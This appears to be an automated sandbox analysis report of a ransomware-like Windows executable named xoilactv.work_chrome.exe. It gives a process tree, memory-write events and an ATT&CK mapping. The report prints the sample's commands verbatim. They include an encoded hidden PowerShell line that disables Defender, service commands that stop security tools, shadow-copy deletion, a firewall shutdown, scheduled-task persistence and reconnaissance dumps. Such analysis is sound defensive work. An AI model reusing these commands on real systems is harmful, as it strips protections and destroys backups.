PID 2560 wrote to memory of 2876	2560	xoilactv.work_chrome.exe	122
PID 2560 wrote to memory of 1272	2560	xoilactv.work_chrome.exe	177
PID 2560 wrote to memory of 5728	2560	xoilactv.work_chrome.exe	165
PID 2560 wrote to memory of 2704	2560	xoilactv.work_chrome.exe	132
PID 2560 wrote to memory of 3684	2560	xoilactv.work_chrome.exe	134
PID 2264 wrote to memory of 5940	2264	chrome.exe	138
PID 2560 wrote to memory of 2764	2560	xoilactv.work_chrome.exe	140
PID 2560 wrote to memory of 5752	2560	xoilactv.work_chrome.exe	142
PID 2560 wrote to memory of 3788	2560	xoilactv.work_chrome.exe	143
PID 2560 wrote to memory of 4256	2560	xoilactv.work_chrome.exe	144
PID 2560 wrote to memory of 2964	2560	xoilactv.work_chrome.exe	145
PID 2560 wrote to memory of 3388	2560	xoilactv.work_chrome.exe	146
PID 2560 wrote to memory of 5484	2560	xoilactv.work_chrome.exe	147
PID 2560 wrote to memory of 5020	2560	xoilactv.work_chrome.exe	151
PID 2560 wrote to memory of 4184	2560	xoilactv.work_chrome.exe	155
PID 2764 wrote to memory of 1468	2764	cmd.exe	157
PID 3388 wrote to memory of 1280	3388	cmd.exe	158
PID 2560 wrote to memory of 3860	2560	xoilactv.work_chrome.exe	159
PID 5752 wrote to memory of 1980	5752	cmd.exe	160
PID 5484 wrote to memory of 1936	5484	cmd.exe	161
PID 2964 wrote to memory of 2132	2964	cmd.exe	162
PID 3788 wrote to memory of 4968	3788	cmd.exe	163
PID 4256 wrote to memory of 5488	4256	cmd.exe	164
PID 2132 wrote to memory of 5728	2132	net.exe	165
PID 2764 wrote to memory of 5640	2764	cmd.exe	166
PID 2560 wrote to memory of 4696	2560	xoilactv.work_chrome.exe	167
PID 2560 wrote to memory of 1812	2560	xoilactv.work_chrome.exe	168
PID 2560 wrote to memory of 2276	2560	xoilactv.work_chrome.exe	169
PID 2560 wrote to memory of 2684	2560	xoilactv.work_chrome.exe	170
PID 2560 wrote to memory of 3328	2560	xoilactv.work_chrome.exe	171
PID 2560 wrote to memory of 3336	2560	xoilactv.work_chrome.exe	172
PID 2276 wrote to memory of 2396	2276	net.exe	179
PID 2264 wrote to memory of 1808	2264	chrome.exe	180
PID 2264 wrote to memory of 1808	2264	chrome.exe	180
PID 2264 wrote to memory of 3452	2264	chrome.exe	181
PID 2264 wrote to memory of 3452	2264	chrome.exe	181
PID 2264 wrote to memory of 4496	2264	chrome.exe	183
PID 2264 wrote to memory of 4848	2264	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://xoilactv.work
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0xc8,0x134,0x7ff9db47c728,0x7ff9db47c734,0x7ff9db47c740
    3⤵
    PID:5552
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,9846240783789069759,2372054843155929375,524288 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,4679329942239705924,14182220178827205509,262144 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=1912 /prefetch:2
    3⤵
    PID:4352
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2292,i,3062552257902367131,4352747164851401567,524288 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=2400 /prefetch:13
    3⤵
    PID:2120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3172,i,6325416694666314911,11230608713557613089,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=3184 /prefetch:1
    3⤵
    PID:4608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3188,i,7990709717502925557,9180476060062712067,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:1
    3⤵
    PID:4304
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4660,i,7324982105738035179,4397171902028335477,524288 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=4672 /prefetch:14
    3⤵
    PID:1364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5428,i,3931151496961211871,14564241285664786536,524288 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:14
    3⤵
    PID:5940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4752,i,691532676362193313,10499149560760067655,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5592 /prefetch:1
    3⤵
    PID:1808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5564,i,2876205934782138263,16198814766419996687,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:1
    3⤵
    PID:3452
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5784,i,14945040313410587232,18366708141236027677,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5744 /prefetch:1
    3⤵
    PID:4848
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5764,i,17948892704445838278,3726315255272235838,524288 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
    3⤵
    PID:4496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5876,i,2977158862527699192,9481786002334691476,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:1
    3⤵
    PID:4912
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6076,i,2060162954546429539,10054935863766740767,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:1
    3⤵
    PID:5920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5828,i,15073724510925516510,447919741807574773,524288 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
    3⤵
    PID:1652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5964,i,1197035221535634787,6032751731331001241,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5876 /prefetch:1
    3⤵
    PID:3784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=5812,i,15292960503469337175,36944245819050339,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:1
    3⤵
    PID:308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=5712,i,13364668824733398422,17355565836627756365,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:1
    3⤵
    PID:2588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5656,i,13047626731785004484,4003584153202402079,524288 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=6016 /prefetch:14
    3⤵
    PID:1884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5784,i,11632074069633426145,1947433519270696954,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:1
    3⤵
    PID:2616
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=4748,i,12424782401705072713,4318073068579803334,2097152 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:9
    3⤵
    PID:512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6004,i,15690974369046496252,3875961708056820986,524288 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=6028 /prefetch:14
    3⤵
    PID:1104
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5540,i,3060904309080399526,12514570511483182069,524288 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5584 /prefetch:14
    3⤵
    PID:3872
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5596,i,13376684264772713667,10615864840266029634,524288 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=6128 /prefetch:14
    3⤵
    PID:6128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5452,i,6964443037550126121,17830587832502167203,262144 --field-trial-handle=1916,i,4896878205276638801,3679781172399435724,262144 --variations-seed-version --mojo-platform-channel-handle=5276 /prefetch:10
    3⤵
    PID:1292
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:424
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2924
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5724
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2224
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3764
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4940
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2076
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:1060
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5124
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5808
- - C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe"
    3⤵
    PID:1468
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2164
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2208
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2876
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1272
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5728
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2704
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2764
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1468
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5640
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5752
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1980
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4968
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:5488
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2964
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2132
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5728
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5484
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:1936
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5020
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4184
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3860
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4696
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3764
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1812
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2276
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2396
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2684
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3328
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3336

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4300

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5584

C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe
C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe
1⤵
PID:304

C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe
C:\Users\Admin\AppData\Local\Temp\xoilactv.work_chrome.exe
1⤵
PID:1364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2728

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery